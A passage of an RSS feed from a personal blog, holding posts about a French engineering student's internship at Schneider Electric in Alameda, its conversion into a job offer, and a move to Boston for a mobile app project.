<p>Our JavaScript cross platform and responsive application compatible with Android and iOS will serve as the mobile component of a larger web platform built with Silverlight and .NET, involving around twenty people (developers, architects, integrators, project managers, and more.)</p>
<p>I&rsquo;m really excited about this opportunity, and it will also give me the chance to discover the East Coast. The Boston ecosystem is incredibly dynamic, with top universities, hackathons almost every weekend, and meetups happening nearly every day&hellip; it’s a dream.</p>
<p>As I write this, I&rsquo;m actually at Microsoft, attending a very interesting talk on Node.js.</p>
<br/>
<p><img src="/images/microsoft.jpg" alt="image"></p>
<br/>
<p>It&rsquo;s crazy how there&rsquo;s always free food at meetups and hackathons.</p>
<p><img src="/images/microsoft-building.jpg" alt="image"></p>
<br/>
<p>And just like in San Francisco, it’s an explosion of new discoveries of all kinds. For example, here’s a hot pot dinner with friends. It really opens your mind.</p>
<p><img src="/images/dinner.jpg" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>My intership has been transformed into a regular job!</title>
            <link>https://leandeep.com/my-intership-has-been-transformed-into-a-regular-job/</link>
            <pubDate>Sat, 01 May 2010 18:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/my-intership-has-been-transformed-into-a-regular-job/</guid>
            <description>&lt;h2 id=&#34;i-have-been-employed&#34;&gt;I have been employed!&lt;/h2&gt;
&lt;p&gt;I haven&amp;rsquo;t written an article in a while. I have to admit I haven&amp;rsquo;t had much time. I&amp;rsquo;ve been busy exploring, learning, working at Schneider Electric, and writing my internship report. My trip is now coming to an end, and I have to return to France to finish my studies. I still have a year and a half left before I can graduate.&lt;/p&gt;
&lt;p&gt;My stay here has been incredible and truly life changing. I&amp;rsquo;ve learned so much, enjoyed every moment, and met amazing people it&amp;rsquo;s very hard for me to leave and go back to France.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="i-have-been-employed">I have been employed!</h2>
<p>I haven&rsquo;t written an article in a while. I have to admit I haven&rsquo;t had much time. I&rsquo;ve been busy exploring, learning, working at Schneider Electric, and writing my internship report. My trip is now coming to an end, and I have to return to France to finish my studies. I still have a year and a half left before I can graduate.</p>
<p>My stay here has been incredible and truly life changing. I&rsquo;ve learned so much, enjoyed every moment, and met amazing people it&rsquo;s very hard for me to leave and go back to France.</p>
<p>The good news is that my manager was very happy with my work and <strong>offered me a full-time position here at Schneider Electric in Alameda</strong>, even suggesting I stop my studies. I declined, as it would be a shame to give up my engineering degree when I&rsquo;m so close to finishing.</p>
<p>To my surprise, he then offered me a part-time contract (around 15 hours per week and more during holidays) so I can continue working on my hybrid cross-platform application project compatible with BlackBerry and iPhone alongside my studies. This way, I can remain on the payroll, and once I graduate, I&rsquo;ll be able to come back here in a year and a half. I will continue as Junior developer until I am graduated and then will become software developer.</p>
<p><strong>So I can say that I&rsquo;ve found my first job!</strong> I will for sure come back! What an experience! It won&rsquo;t be easy going back to school after this.</p>
<br/>
<p><img src="/images/cable.jpg" alt="image"></p>
<br/>
<p><img src="/images/apple.jpg" alt="image"></p>
<br/>
<p><img src="/images/phoque.jpg" alt="image"></p>
<br/>
<p><img src="/images/truck.jpg" alt="image"></p>
<br/>
<p><img src="/images/duck.jpg" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Silicon valley here I am!</title>
            <link>https://leandeep.com/silicon-valley-here-i-am/</link>
            <pubDate>Sat, 01 Aug 2009 18:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/silicon-valley-here-i-am/</guid>
            <description>&lt;h2 id=&#34;new-job&#34;&gt;New job&lt;/h2&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/usa.jpg&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;I&amp;rsquo;ve just arrived in San Francisco, more precisely in Alameda. As part of my engineering studies, I need to complete a 9 month international internship to validate my degree.&lt;/p&gt;
&lt;p&gt;Although I chose a general engineering school with a joint program with a business school, I&amp;rsquo;ve always been passionate about computer science and programming. I started coding my first website at 13 by borrowing an HTML book and using FrontPage, then Dreamweaver. So naturally, coming to Silicon Valley felt like the obvious choice.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="new-job">New job</h2>
<p><img src="/images/usa.jpg" alt="image"></p>
<br/>
<p>I&rsquo;ve just arrived in San Francisco, more precisely in Alameda. As part of my engineering studies, I need to complete a 9 month international internship to validate my degree.</p>
<p>Although I chose a general engineering school with a joint program with a business school, I&rsquo;ve always been passionate about computer science and programming. I started coding my first website at 13 by borrowing an HTML book and using FrontPage, then Dreamweaver. So naturally, coming to Silicon Valley felt like the obvious choice.</p>
<p>When I arrived, I learned that what made the difference during the technical interview compared to older candidates was my knowledge of Ajax specifically the XMLHttpRequest keyword and my ability to build an Ajax API in PHP. Thanks to the website siteduzero.fr, which made it possible to learn programming on my own.</p>
<p>I am now working for Schneider Electric as a Junior Developer. I&rsquo;ll be contributing to several projects, some in C++, .NET, XML/XSLT, and also building iGoogle and Netvibes widgets in JavaScript. Things evolve quickly, so there may be other topics as well, such as mobile applications…</p>
<p>Wish me luck on this new adventure!</p>
<br/>
<h2 id="lifestyle">Lifestyle</h2>
<p>In addition to everything I&rsquo;m learning technically, I&rsquo;m also lucky to be discovering San Francisco and everything it has to offer. It&rsquo;s a huge change of scenery.</p>
<br/>
<p><img src="/images/friends-sf.jpg" alt="image"></p>
<br/>
<p><img src="/images/food.jpg" alt="image"></p>
<br/>
<p><img src="/images/visit.jpg" alt="image"></p>
<br/>
<p><img src="/images/golden.jpg" alt="image"></p>
<br/>
<p><img src="/images/golden-gate.jpg" alt="image"></p>
]]></content>
        </item>
        
    </channel>
</rss>
